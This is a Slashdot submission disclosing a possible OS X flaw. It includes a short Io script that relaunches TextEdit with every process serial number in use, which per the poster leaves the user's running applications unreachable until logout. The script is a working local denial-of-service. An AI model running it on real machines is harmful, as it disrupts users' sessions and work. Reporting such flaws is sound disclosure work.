Follow Slashdot blog updates by subscribing to our blog RSS feed

 



Forgot your password?
typodupeerror
Security

+ - Possible OS X exploit

Submitted by
John Nowak
John Nowak writes "The code below (written in the Io programming language) will make OS X applications running for the current user, plus Terminal and Activity Monitor, inaccessible and will require a logout:

System system("open -a Terminal")
System system("open -a 'Activity Monitor'")
System system("killall TextEdit")
File clone popen("ps auxww") readLines foreach(v, v containsSeq("-psn") ifTrue(System system("open -a TextEdit -psn" ..(v clipBeforeEndOfSeq("-psn")))))

When OS X applications are launched they are normally assigned a unique psn. The little script above tries to launch TextEdit over and over with every psn currently in use. The result is that all programs currently assigned a psn remain running but are inaccessible to the user; They disappear from the Dock and command-tab, become unaffected by mouse clicks, et cetera. Attempting to launch a program with a psn currently in use should not have any effect on the program currently running which is assigned that number, but unfortunately it does."

Round Numbers are always false. -- Samuel Johnson

Working...